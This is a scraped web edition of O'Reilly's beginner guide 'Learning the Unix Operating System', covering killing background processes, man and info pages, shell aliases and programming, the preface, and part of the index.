Multitasking 		Next: 7. Where to Go from Here

6.3 Cancelling a Process

You may decide that you shouldn't have put a process in the background. Or you decide that the process is taking too long to execute. You can cancel a background process if you know its process ID.

6.3.1 kill

The kill command aborts a process. The command's format is:

kill PID(s)

kill terminates the designated process IDs (shown under the PID heading in the ps listing). If you do not know the process ID, do a ps first to display the status of your processes.

In the following example, the "sleep n" command simply causes a process to "go to sleep" for n number of seconds. We enter two commands, sleep and who, on the same line, as a background process.

% (sleep 60; who)&
[1] 21087
% ps
 PID    TTY   TIME  COMMAND
20055    4    0:10  sh
21087    4    0:01  sh
21088    4    0:00  sleep
21089    4    0:02  ps
% kill 21088
Terminated
% tom     tty2   Aug 30  11:27
grace   tty4   Aug 30  12:24
tim     tty5   Aug 30  07:52
dale    tty7   Aug 30  14:34

We decided that 60 seconds was too long a time to wait for the output of who. The ps listing showed that sleep had the process ID number 21088, so we used this PID to kill the sleep process. You should see a message like "terminated" or "killed"; if you don't, use another ps command to be sure the process has been killed.

The who command is executed immediately, since it is no longer waiting on sleep; it lists the users logged into the system.

6.3.2 Problem checklist

The process didn't die when I told it to.

Some processes can be hard to kill. If a normal kill of these processes is not working, enter "kill -9 PID". This is a sure kill and can destroy almost anything, including the shell that is interpreting it.

In addition, if you've run an interpreted program (like a shell script), you may not be able to kill all dependent processes by killing the interpreter process that got it all started; you may need to kill them individually. However, killing a process that is feeding data into a pipe will generally kill any processes receiving that data.

Previous: 6.2 Checking on a Process | Learning the Unix Operating System | Next: 7. Where to Go from Here
6.2 Checking on a Process | Book Index | 7. Where to Go from Here
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] Where to Go from Here

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 6.3 Cancelling a Process Chapter 7 Next: 7.2 Shell Aliases and Functions

7. Where to Go from Here

Contents:
Standard UNIX Documentation
Shell Aliases and Functions
Programming

7.1 Standard UNIX Documentation

Now that you've come to the end of this guide, you might want to know the options to the commands we've introduced and the many other UNIX commands. You're now ready to consult your system's documentation.

Different system manufacturers have adapted UNIX documentation in different ways. However, almost all UNIX documentation is derived from a manual originally called the UNIX Programmer's Manual. One section you'll want to consult is the one that lists general UNIX commands like who and ls. There's probably another section with tutorials and extended documentation.

Many UNIX installations (especially larger systems with plenty of disk space) have individual manual pages stored on the computer; users can read them online.

If you want to know the correct syntax for entering a command or the particular features of a program, enter the command man and the name of the command. The syntax is:

man command

For example, if you want to find information about the program mail, which allows you to send messages to other users, you would enter:

% man mail
    .
    .
%

The output of man may be filtered through the more command automatically. If it isn't, just pipe the output of man to more (or pg).

After you enter the command, the screen will fill up with text. Press [SPACE] or [RETURN] to read more.

Some systems also have a command called apropos or man k to help you locate a command if you have an idea of what it does but are not sure of its correct name. Enter apropos followed by a descriptive word; you'll get a list of commands that might help.

Linux systems, and many other systems, may also have a command called info. It serves the same purpose as man: to document system commands. The info output is in a different format, though. The syntax to start info is:

info command

For example, if you want to find information about the program find, which searches for files, you would enter info find. After you enter the command, the screen will fill up with text. Press [SPACE] to read more or "q" to quit.

Previous: 6.3 Cancelling a Process | Learning the Unix Operating System | Next: 7.2 Shell Aliases and Functions
6.3 Cancelling a Process | Book Index | 7.2 Shell Aliases and Functions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.2 Shell Aliases and Functions

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 7.1 Standard UNIX Documentation Chapter 7
Where to Go from Here 		Next: 7.3 Programming

7.2 Shell Aliases and Functions

If you type command names that are hard for you to remember, or command lines that seem too long, you'll want to learn about shell aliases and functions. These shell features let you abbreviate commands, command lines, and long series of commands. In most cases, you can replace them with a single word or a word and a few arguments. For example, one of the long pipelines in Chapter 5, Redirecting I/O , could be replaced by an alias or function named (for instance) "aug". When you type aug at a shell prompt, the shell would list files modified in August, sorted by size.

Making an alias or function is almost as simple as typing in the command line or lines that you want to run. The references in Appendix A, Reading List , have more information. Shell aliases and functions are actually a simple case of shell programming.

Previous: 7.1 Standard UNIX Documentation | Learning the Unix Operating System | Next: 7.3 Programming
7.1 Standard UNIX Documentation | Book Index | 7.3 Programming
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Chapter 7] 7.3 Programming

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: 7.2 Shell Aliases and Functions Chapter 7
Where to Go from Here 		Next: A. Reading List

7.3 Programming

Out of the hundreds of UNIX commands that have been developed, the commands for editing files are probably among the first that you should learn. As you become more familiar with other UNIX commands, you can customize your working environment and also create commands to do just what you need.

We have mentioned earlier that the shell is the system's command interpreter. It reads each command you enter at your terminal and performs the operation that you called for. The system administrator decides the type of shell that runs when you log in to your account.

The shell is just an ordinary program that can be called by a UNIX command. However, it contains some features (like variables, control structures, and so on) that make it similar to a programming language. You can save a series of shell commands in a file, called a shell script, to accomplish specialized functions.

Programming the shell should be attempted only when you are reasonably confident of your ability to use UNIX commands. UNIX is quite a powerful tool and its capabilities become more apparent when you try your hand at shell programming.

Take time to learn the basics. Then, when you're faced with a new task, take time to browse through references to find programs or options that will help you get the job done more easily. Once you've done that, learn how to build shell scripts so that you never have to type a complicated command sequence more than once.

You might also want to learn Perl. Like the shell, Perl interprets script files full of commands. But Perl has a steeper learning curve than the shell. Also, since you've already learned a fair amount about the shell and UNIX commands by reading this book, you're almost ready to start writing shell scripts now; on the other hand, Perl will take longer to learn. But if you have sophisticated needs, learning Perl is another way to use even more of the power of your UNIX system.

Previous: 7.2 Shell Aliases and Functions | Learning the Unix Operating System | Next: A. Reading List
7.2 Shell Aliases and Functions | Book Index | A. Reading List
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Learning the Unix Operating System

By Jerry Peek, Grace Todino & John Strang; ISBN 1-56592-390-1, 106 pages.
Fourth Edition, January 1998.
(See the catalog page for this book.)

Search the text of Learning the Unix Operating System.

Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Table of Contents

Preface
Chapter 1: Getting Started
Chapter 2: Using Window Systems
Chapter 3: Your UNIX Account
Chapter 4: File Management
Chapter 5: Redirecting I/O
Chapter 6: Multitasking
Chapter 7: Where to Go from Here

Appendix A: Reading List
Appendix B: Reference

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn Shell

Copyright © 1998 O'Reilly & Associates. All Rights Reserved.


Preface

Contents:
The UNIX Operating System
Versions of UNIX
What This Handbook Covers
What's New in the Fourth Edition
Format
Acknowledgments

The UNIX Operating System

An operating system (or "OS") is a set of programs that controls a computer. It controls both the hardware (things you can touch - such as keyboards, displays, and disk drives) and the software (application programs that you run, such as a word processor).

Some computers have a single-user OS, which means only one person can use the computer at a time. Many older OSes (like DOS) can also do only one job at a time. But almost any computer can do a lot more if it has a multiuser, multitasking operating system like UNIX. These powerful OSes let many people use the computer at the same time and let each user run several jobs at once.

UNIX was invented almost 30 years ago for scientific and professional users who wanted a very powerful and flexible OS. It's been significantly developed since then. Because UNIX was designed for experts, it can be a bit overwhelming at first. But after you get the basics (from this book!) you'll start to appreciate some of the reasons to use UNIX:

  • It comes with a huge number of powerful application programs. You can get many others for free on the Internet. (The GNU utilities, freely available from the Free Software Foundation, are very popular.) You can thus do much more at a much lower cost.

  • Not only are the applications often free, but some versions of UNIX itself are also free. Linux is a good example. Like the free applications, these free versions of UNIX are usually of excellent quality. They're maintained by volunteer programmers who want a powerful OS and are frustrated by the slow, bug-ridden development of OSes at big companies.

  • Much of the development of the Internet was done on UNIX systems. Many Internet web sites and Internet service providers use UNIX because it's so powerful, flexible, and inexpensive.

  • UNIX runs on almost any kind of hardware. After you learn UNIX on one system, you'll know how to use it on any other system.

Learning the Unix Operating System | Next: Versions of UNIX
Book Index | Versions of UNIX
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface ] Versions of UNIX

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: The UNIX Operating System Preface Next: What This Handbook Covers

Versions of UNIX

There are many different versions of UNIX. Until a few years ago, there were two main versions: the line of UNIX releases that started at AT&T (the latest is System V Release 4), and another line from the University of California at Berkeley (the latest version is BSD 4.4). Some other major commercial versions include SunOS, Solaris, SCO UNIX, AIX, HP/UX, and ULTRIX. The freely available versions include Linux and FreeBSD.

Many versions of UNIX, including System V Release 4, merge earlier AT&T releases with BSD features. The recent POSIX standard for UNIX-like operating systems defines a single interface to UNIX. Although advanced features differ among systems, you should be able to use this introductory handbook on any type of system.

UNIX can be used the way it was originally designed, on typewriter-like terminals. Most versions of UNIX can also work with window systems, which allow each user to have more than one "terminal" on a single display. Chapter 2, Using Window Systems , shows the basics of a window system. All other chapters are for every UNIX user - with or without a window system.

Previous: The UNIX Operating System | Learning the Unix Operating System | Next: What This Handbook Covers
The UNIX Operating System | Book Index | What This Handbook Covers
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface ] What This Handbook Covers

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: Versions of UNIX Preface Next: What's New in the Fourth Edition

What This Handbook Covers

Learning the UNIX Operating System teaches the basic system utility commands to get you started with UNIX. Instead of overwhelming you with a lot of details, we want you to be comfortable in the UNIX environment as soon as possible. So we cover the most useful features of a command instead of describing all its options in detail. Appendix A, Reading List , lists other references.

After reading this handbook, you should be able to:

  • Log in and log out of your system

  • Control the system with control characters

  • Send messages to other users

  • Manage UNIX files and directories, including listing, creating, copying, printing, and removing files, and moving in and out of directories

  • Work more efficiently using UNIX pipes, filters, and multitasking

Previous: Versions of UNIX | Learning the Unix Operating System | Next: What's New in the Fourth Edition
Versions of UNIX | Book Index | What's New in the Fourth Edition
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface ] What's New in the Fourth Edition

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: What This Handbook Covers Preface Next: Format

What's New in the Fourth Edition

UNIX keeps evolving; this book changes with it. Although most of the tips in this book work on all UNIX systems - old and new - there have been changes since 1993 that justify a fourth edition. A major change is the emergence of Linux as a very popular version of UNIX. Linux has some unique features that even beginners will appreciate. We've also made changes suggested by our readers.

Previous: What This Handbook Covers | Learning the Unix Operating System | Next: Format
What This Handbook Covers | Book Index | Format
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface ] Format

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: What's New in the Fourth Edition Preface Next: Acknowledgments

Format

The following sections describe the conventions used in this handbook.

Commands

We introduce each main concept, then break it down into task-oriented sections. Each section shows the best command to use for a task, explains what it does, and the syntax (the way to put the command line together). The syntax is given like this:

rm filename

Commands appear in boldface type (in this example, rm). You should type the command exactly as it appears in the example. The variable parts (here, filename) will appear in italic type; you must supply your own value. To enter this command, you would type rm followed by a space and the name of the file that you want to remove, then press the [RETURN] key. (Your keyboard may have a key labeled [ENTER], or an arrow with a right-angle shaft, instead of a [RETURN] key.) Throughout this book, the term enter means to type a command and press [RETURN] to run it.

Examples

Examples show what should happen as you enter a command. Some examples assume that you've created certain files. If you haven't, you may not get the results shown.

We use typewriter-style characters for examples. Items you type to try the example are boldface. System messages and responses are normal text.

Here's an example:

% date
Tue Nov  4 13:39:24 EST 1997
%

The character "%" is the shell (system) prompt. To do this example, you would type date and then press [RETURN]. The date command responds "Tue Nov 4 13:39:24 EST 1997" and then returns you to the prompt.

Problem Checklist

We've included a problem checklist in some sections. You may skip these parts and go back to them if you have a problem.

Exercises

Many sections have exercises to reinforce the text you've read. Follow the exercises, but don't be afraid to experiment on your own.

The exercises have two columns: the left-hand column tells you what to do and the right-hand column tells you how to do it. For example, a line in the exercise near the end of Chapter 1, Getting Started , shows:
Get today's date Enter date
To follow the exercise, you type in the word date on your keyboard and then press the [RETURN] key. The left-hand column tells you what will happen.

After you try the commands, you'll have a better idea of the ones you want to learn more about. You can then look them up in your system's UNIX documentation or use one of the other references listed in Appendix A.

A Note to Our Readers

We update each book periodically. This allows us to incorporate changes suggested to us by our readers. We'd like new users to benefit from your experience as well as ours.

If you have a suggestion, or solve a significant problem that our handbook does not cover, please write to or call us at the following address and let us know about it (include information about your UNIX environment and the computer you use):

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in US or Canada)
1-707-829-0515 (international/local)
1-707-829-0104 (FAX)

If you have access to electronic mail (Chapter 3, Your UNIX Account ), you may email your comments to:

bookquestions@oreilly.com

You'll have our thanks, along with thanks from future readers of this handbook.

Previous: What's New in the Fourth Edition | Learning the Unix Operating System | Next: Acknowledgments
What's New in the Fourth Edition | Book Index | Acknowledgments
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface ] Acknowledgments

Learning the Unix Operating System

Learning the Unix Operating SystemSearch this book
Previous: Format Preface Next: 1. Getting Started

Acknowledgments

Parts of Chapter 2, were adapted from O'Reilly & Associates' X Window System User's Guide, Volume 3, OSF/Motif Edition, by Valerie Quercia and Tim O'Reilly. Valerie Quercia reviewed the revised Chapter 2.

Gigi Estabrook was the update editor for the fourth edition, and Nancy Wolfe Kotary was the production editor and copyedited the new edition. Madeleine Newell proofread the fourth edition; Seth Maislin wrote the index; Sheryl Avruch, Nicole Gipson Arigo, and Mary Anne Mayo provided quality control checks; and Elissa Haney provided production assistance.

Previous: Format | Learning the Unix Operating System | Next: 1. Getting Started
Format | Book Index | 1. Getting Started
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: Symbols and Numbers

& for background processes : 6.1. Running a Command in the Background
* wildcard
4.3. File and Directory Wildcards
4.4.5.1. rm
. (dot)
. directory : 4.4.2.1. cp
. directory shortcut : 3.1.8.1. ls
.. directory shortcut
3.1.5.2. Relative pathnames up
3.1.8.1. ls
4.4.2.1. cp
in filenames : 4.2. File and Directory Names
> (output redirection operator)
5.1. Standard Input and Standard Output
5.1.1.1. The > operator
>> (output redirection operator) : 5.1.1.2. The >> operator
- (hyphen) for command options : 1.2. Syntax of UNIX Command Lines
< (input redirection operator) : 5.1. Standard Input and Standard Output
? wildcard : 4.3. File and Directory Wildcards
; (semicolon) on command line : 1.2. Syntax of UNIX Command Lines
/ (slash)
in pathnames : 3.1.4. Absolute Pathnames
for root directory
3.1.3. The Directory Tree
3.1.4. Absolute Pathnames
[ ] as wildcards brackets : 4.3. File and Directory Wildcards
| for I/O redirection : 5.1. Standard Input and Standard Output

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: A

absolute pathnames : 3.1.4. Absolute Pathnames
access modes : 3.1.8.1. ls
access permissions : (see permissions)
account, customizing : 3.6. Customizing Your Account
aliases, shell : 7.2. Shell Aliases and Functions
ampersand (&) for background processes : 6.1. Running a Command in the Background
appending text to files : 5.1.1.2. The >> operator
apropos command : 7.1. Standard UNIX Documentation
arguments, command : 1.2. Syntax of UNIX Command Lines
ascii command (ftp) : 4.4.2.4. ftp
asterisk (*) as wildcard
4.3. File and Directory Wildcards
4.4.5.1. rm

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: B

background processing : 6. Multitasking
cancelling processes : 6.3. Cancelling a Process
checking on processes : 6.2. Checking on a Process
BACKSPACE key
1.1.7. Correcting a Mistake
3.6. Customizing Your Account
bg command : 6.1. Running a Command in the Background
binary command (ftp) : 4.4.2.4. ftp
block cursor : 2.4.3. Using a Mouse with xterm Windows
brackets [ ] as wildcards : 4.3. File and Directory Wildcards

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: C

calculator program (on X) : 2.3.2. The xterm Window
cancel command : 4.5.4.2. cancel and lprm
cancelling
background processes : 6.3. Cancelling a Process
print jobs : 4.5.4.2. cancel and lprm
cat command
3.2.1. cat
5.1.1. Putting Text in a File
cd command
3.1.6.2. cd
4.4.2.4. ftp
chattr command (Linux) : 3.3.3. More Protection Under Linux
chmod command
3.1.8.1. ls
3.3.1. Directory Access Permissions
clicking the mouse : 2.4.2. Pointing, Clicking, and Dragging
clobbering files : 5.1.1.1. The > operator
Close menu item (mwm) : 2.5.4. The Window Menu
command line : 1.1.6. Entering a Command Line
correcting mistakes on : 1.1.7. Correcting a Mistake
command prompt : (see shell prompt)
commands
3.2.2. more
(see also under specific command name)
cancelling execution of : 6.3. Cancelling a Process
ftp : 4.4.2.4. ftp
mail : 3.4.2. Reading Your Mail
with more command : 3.2.2. more
redirecting output of
5.1. Standard Input and Standard Output
5.2. Pipes and Filters
reference for : B.1. Commands and Their Meanings
running in background : 6. Multitasking
shell aliases for : 7.2. Shell Aliases and Functions
syntax of : 1.2. Syntax of UNIX Command Lines
types of : 1.3. Types of Commands
X root menu : 2.3.3. The Root Menu
configuring control characters : 3.6. Customizing Your Account
connecting to UNIX terminals : 1.1.1. Connecting to the UNIX Computer
control characters : 1.1.7. Correcting a Mistake
configuring : 3.6. Customizing Your Account
CTRL-C : 1.4. The Unresponsive Terminal
CTRL-D
1.4. The Unresponsive Terminal
5.1.1.1. The > operator
CTRL-H : 1.1.7. Correcting a Mistake
CTRL-J : 1.4. The Unresponsive Terminal
CTRL-Q : 1.4. The Unresponsive Terminal
CTRL-S : 1.4. The Unresponsive Terminal
CTRL-Z
1.4. The Unresponsive Terminal
6.1. Running a Command in the Background
copying
files : 4.4.2. Copying Files
remotely : 4.4.2.3. rcp
in xterm windows : 2.4.3. Using a Mouse with xterm Windows
cp command : 4.4.2.1. cp
cursors : 2.4.1. Pointer Shape
customizing
account : 3.6. Customizing Your Account
programming the shell : 7.3. Programming

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: D

dash (-) for command options : 1.2. Syntax of UNIX Command Lines
data swutches : 1.1.1.2. Connecting with a data switch
date and time
date command
1.1.6.1. date
5.1.1.1. The > operator
process execution time : 6.2.1. ps
dead.letter file : 3.4.1. Sending Mail
DEL, DELETE keys
1.1.7. Correcting a Mistake
3.6. Customizing Your Account
deleting files and directories : 4.4.5. Removing Files and Directories
dir command (DOS) : (see ls command)
dir command (ftp) : 4.4.2.4. ftp
directly executable programs : 6.2.1. ps
directories : 3.1. The UNIX Filesystem
. shortcut
3.1.8.1. ls
4.4.2.1. cp
.. shortcut
3.1.5.2. Relative pathnames up
3.1.8.1. ls
4.4.2.1. cp
creating new : 4.4.1. Creating Directories
deleting : 4.4.5. Removing Files and Directories
hierarchy of (tree)
3.1.3. The Directory Tree
3.1.7. Files in the Directory Tree
home : 3.1.1. Your Home Directory
Linux protection for : 3.3.3. More Protection Under Linux
listing : 3.1.8. Listing Files
moving between : 3.1.6. Changing Your Working Directory
names of : 4.2. File and Directory Names
pathnames : 3.1.3. The Directory Tree
permissions
3.1.8.1. ls
3.3.1. Directory Access Permissions
umask command and : 3.6. Customizing Your Account
working : 3.1.2. Your Working Directory
documentation on UNIX : 7.1. Standard UNIX Documentation
DOS, accessing with UNIX : 4.4.6. Files on Other Operating Systems
MTOOLS utilities for : 4.4.6. Files on Other Operating Systems
dot (.)
. directory shortcut : 3.1.8.1. ls
in filenames : 4.2. File and Directory Names
dot-dot (..) directory shortcut
3.1.5.2. Relative pathnames up
3.1.8.1. ls
4.4.2.1. cp
dragging the mouse : 2.4.2. Pointing, Clicking, and Dragging

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: E

emacs editor : 4.1. Methods of Creating Files
email (electronic mail) : 3.4. Electronic Mail
message headers : 3.4.2. Reading Your Mail
sending command output : 5.2.2. sort
sending files : 6.1. Running a Command in the Background
environment, UNIX : 1.1. Working in the UNIX Environment
erase character : 1.1.7. Correcting a Mistake
erasing : (see deleting)
errors on command line
1.1.7. Correcting a Mistake
(see also troubleshooting)
execute permission : 3.1.8.1. ls
exit command : 1.1.8. Logging Out
exiting
UNIX session : 1.1.8. Logging Out
X Window System : 2.7. Quitting

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: F

fg command : 6.1. Running a Command in the Background
file transfer protocol (ftp) : 4.4.2.4. ftp
filenames : 4.2. File and Directory Names
changing : 4.4.3. Renaming and Moving Files
wildcards for : 4.3. File and Directory Wildcards
files : 3.1. The UNIX Filesystem
appending text to : 5.1.1.2. The >> operator
copying : 4.4.2. Copying Files
deleting : 4.4.5. Removing Files and Directories
directory tree and : 3.1.7. Files in the Directory Tree
finding/searching for : 4.4.4. Finding Files
hidden : 3.1.8.1. ls
information about : 3.1.8.1. ls
inserting text in : 5.1.1. Putting Text in a File
listing : 3.1.8. Listing Files
moving : 4.4.3. Renaming and Moving Files
overwriting by mistake : 5.1.1.1. The > operator
pathnames : 3.1.3. The Directory Tree
permissions
3.1.8.1. ls
3.3.2. File Access Permissions
umask command and : 3.6. Customizing Your Account
printing : 4.5. Printing Files
reading : 3.2. Looking Inside Files
remote : 4.4.6. Files on Other Operating Systems
copying : 4.4.2.3. rcp
renaming : 4.4.3. Renaming and Moving Files
searching within : 5.2.1. grep
sharing : 3.3. Protecting and Sharing Files
sorting lines in : 5.2.2. sort
filesystem : 3.1. The UNIX Filesystem
networked : 3.1.3. The Directory Tree
filters : 5.2. Pipes and Filters
find command : 4.4.4. Finding Files
finding
files : 4.4.4. Finding Files
text in files : 5.2.1. grep
flags : (see options, command)
fortune program : 3.6. Customizing Your Account
frozen terminal : 1.4. The Unresponsive Terminal
ftp (file transfer protocol) : 4.4.2.4. ftp
functions, shell : 7.2. Shell Aliases and Functions

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: G

get command (ftp) : 4.4.2.4. ftp
grep command : 5.2.1. grep

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: H

headers, email message : 3.4.2. Reading Your Mail
help and resources
for further reading : A.1. General UNIX Books
info command : 7.1. Standard UNIX Documentation
more command : 3.2.2. more
troubleshooting : (see troubleshooting)
UNIX documentation : 7.1. Standard UNIX Documentation
hidden files : 3.1.8.1. ls
hierarchy, directory
3.1.3. The Directory Tree
3.1.7. Files in the Directory Tree
home directory : 3.1.1. Your Home Directory
hostnames, mailing to : 3.4.1. Sending Mail
hung terminal : 1.4. The Unresponsive Terminal
hyphen (-) for command options : 1.2. Syntax of UNIX Command Lines

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: I

I-beam cursor : 2.4.3. Using a Mouse with xterm Windows
I/O redirection : 5.1. Standard Input and Standard Output
icons
iconifying windows : 2.5.1. Using the Titlebar
moving : 2.5.2. Moving Windows and Icons
info command : 7.1. Standard UNIX Documentation
input focus : 2.3.1. Setting Focus
input redirection operator (>) : 5.1. Standard Input and Standard Output
input/output redirection : 5.1. Standard Input and Standard Output
interpreted programs : 6.2.1. ps
interrupt character
1.1.7. Correcting a Mistake
1.4. The Unresponsive Terminal

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: J

job control : 6.1. Running a Command in the Background
stopped jobs : 1.1.8.1. Problem checklist
suspending jobs : 1.4. The Unresponsive Terminal
jobs command : 6.2.1. ps

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: K

keyboard shortcuts : 2.5.4. The Window Menu
kill command : 6.3.1. kill

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Copyright © 1998 O'Reilly & Associates, Inc. All Rights Reserved.

The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Index

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y

Index: L

lcd command (ftp) : 4.4.2.4. ftp
LINEFEED character : 1.4. The Unresponsive Terminal
Linux
directory protection : 3.3.3. More Protection Under Linux
finding files on : 4.4.4. Finding Files
info command : 7.1. Standard UNIX Documentation
ls command on : 3.1.8.1. ls
MTOOLS utilities : 4.4.6. Files on Other Operating Systems
virtual consoles : 2.1. Introduction to Windowing
listing files/directories : 3.1.8. Listing Files
locate command : 4.4.4. Finding Files
